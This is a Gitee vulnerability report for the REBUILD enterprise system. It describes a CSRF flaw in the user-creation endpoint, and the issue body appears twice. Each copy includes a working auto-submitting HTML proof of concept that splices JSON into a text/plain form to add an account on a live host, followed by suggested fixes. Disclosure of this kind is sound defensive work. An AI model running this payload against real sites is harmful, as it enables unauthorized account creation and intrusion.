Sign in
Sign up
Explore
Enterprise
Education
Search
Help
Terms of use
About Us
Explore
Enterprise
Education
Gitee Premium
Gitee AI
AI teammates
Sign in
Sign up
Fetch the repository succeeded.
Open Source
>
Enterprise App
>
Enterprise Application System
&&
Donate
Please sign in before you donate.
Cancel
Sign in
Scan WeChat QR to Pay
Cancel
Complete
Prompt
Switch to Alipay.
OK
Cancel
Watch
Unwatch
Watching
Releases Only
Ignoring
2.4K
Star
5.4K
Fork
989
RB企业管理系统
/
rebuild_WMS_MES_CRM_HRM_零代码免费开源
Code
Issues
126
Pull Requests
0
Insights
Pipelines
Service
JavaDoc
Quality Analysis
Jenkins for Gitee
Tencent CloudBase
Tencent Cloud Serverless
悬镜安全
Aliyun SAE
Codeblitz
SBOM
DevLens
Don’t show this again
Join Repository
Update failed. Please try again later!
Remove this flag
Content Risk Flag
This task is identified by
as the content contains sensitive information such as code security bugs, privacy leaks, etc., so it is only accessible to contributors of this repository.
部门用户创建接口存在CSRF漏洞
Done
#I6W4M2
南风过境-梦至西洲
Opened this issue
2023-04-17 02:19
如确认漏洞,恳请厂商回复确认漏洞帮助测试人员备案,谢谢! ### 版本 / Version V3.2 版本 ### 什么问题 / What's the problem 部门用户创建接口存在CSRF漏洞  接口正常请求报文如下:  可以看到`Content-Type`默认为`text/plain`,且数据以json格式传输,因为cookie跨域限制不严导致可构造恶意网页实现CSRF漏洞 ### 如何复现此问题 / How to reproduce this problem 构造POC如下: ``` <html> <!-- CSRF PoC --> <body> <form action="https://nightly.getrebuild.com/app/entity/record-save" method="POST" enctype="text/plain"> <input type="hidden" name="{"loginName":"syh2","password":"buy8l9rB!8","gangwei6":"668-01871e762adb15ce","gerendianhua":"","createdBy":"001-0000000000000001","createdOn":"2023-04-17 01:36:41","fullName":"syh","email":"su@123.com","workphone":"13684122536","deptId":"002-0186693a0e7903c3","metadata":{"entity":"User","id":""},"hack":"" value=""}" /> <input type="submit" value="Submit request" /> </form> <script> history.pushState('', '', '/'); document.forms[0].submit(); </script> </body> </html> ``` 正常POST表单会有`=`导致json格式错误,我们可以通过构造`name value`使其拼接,从而使`=`成为字段值,效果如下 ``` <input type="hidden" name="{"loginName":"syh2","password":"buy8l9rB!8","gangwei6":"668-01871e762adb15ce","gerendianhua":"","createdBy":"001-0000000000000001","createdOn":"2023-04-17 01:36:41","fullName":"syh","email":"su@123.com","workphone":"13684122536","deptId":"002-0186693a0e7903c3","metadata":{"entity":"User","id":""},"hack":"" value=""}" /> ``` **利用测试** 使用POC搭建网页,访问该恶意网站:  可以看到成功调用接口,成功添加账户  ### 漏洞修复建议 限制`Content-Type`为`application/json` 或对cookie增加跨域限制,即`SameSite`设置为`Lax` ### 测试单位 山东大学网络空间安全学院
如确认漏洞,恳请厂商回复确认漏洞帮助测试人员备案,谢谢! ### 版本 / Version V3.2 版本 ### 什么问题 / What's the problem 部门用户创建接口存在CSRF漏洞  接口正常请求报文如下:  可以看到`Content-Type`默认为`text/plain`,且数据以json格式传输,因为cookie跨域限制不严导致可构造恶意网页实现CSRF漏洞 ### 如何复现此问题 / How to reproduce this problem 构造POC如下: ``` <html> <!-- CSRF PoC --> <body> <form action="https://nightly.getrebuild.com/app/entity/record-save" method="POST" enctype="text/plain"> <input type="hidden" name="{"loginName":"syh2","password":"buy8l9rB!8","gangwei6":"668-01871e762adb15ce","gerendianhua":"","createdBy":"001-0000000000000001","createdOn":"2023-04-17 01:36:41","fullName":"syh","email":"su@123.com","workphone":"13684122536","deptId":"002-0186693a0e7903c3","metadata":{"entity":"User","id":""},"hack":"" value=""}" /> <input type="submit" value="Submit request" /> </form> <script> history.pushState('', '', '/'); document.forms[0].submit(); </script> </body> </html> ``` 正常POST表单会有`=`导致json格式错误,我们可以通过构造`name value`使其拼接,从而使`=`成为字段值,效果如下 ``` <input type="hidden" name="{"loginName":"syh2","password":"buy8l9rB!8","gangwei6":"668-01871e762adb15ce","gerendianhua":"","createdBy":"001-0000000000000001","createdOn":"2023-04-17 01:36:41","fullName":"syh","email":"su@123.com","workphone":"13684122536","deptId":"002-0186693a0e7903c3","metadata":{"entity":"User","id":""},"hack":"" value=""}" /> ``` **利用测试** 使用POC搭建网页,访问该恶意网站:  可以看到成功调用接口,成功添加账户  ### 漏洞修复建议 限制`Content-Type`为`application/json` 或对cookie增加跨域限制,即`SameSite`设置为`Lax` ### 测试单位 山东大学网络空间安全学院
Comments (
4
)
Sign in
to comment
Status
Done
Backlog
Doing
Done
Closed
Assignees
Not set
Labels
无需修复
Not set
Label settings
Milestones
No related milestones
No related milestones
Pull Requests
None yet
None yet
Successfully merging a pull request will close this issue.
Branches
No related branch
Branches (
-
)
Tags (
-
)
Planed to start   -   Planed to end
-
Top level
Not Top
Top Level: High
Top Level: Medium
Top Level: Low
Priority
Not specified
Serious
Main
Secondary
Unimportant
参与者(2)
Java
1
https://gitee.com/getrebuild/rebuild.git
git@gitee.com:getrebuild/rebuild.git
getrebuild
rebuild
rebuild_WMS_MES_CRM_HRM_零代码免费开源
Going to Help Center
Search
Git 命令在线学习
如何在 Gitee 导入 GitHub 仓库
Git 仓库基础操作
企业版和社区版功能对比
SSH 公钥设置
如何处理代码冲突
仓库体积过大,如何减小?
如何找回被删除的仓库数据
Gitee 产品配额说明
GitHub仓库快速导入Gitee及同步更新
什么是 Release(发行版)
将 PHP 项目自动发布到 packagist.org
Repository Report
Back to the top
Login prompt
This operation requires login to the code cloud account. Please log in before operating.
Go to login
No account. Register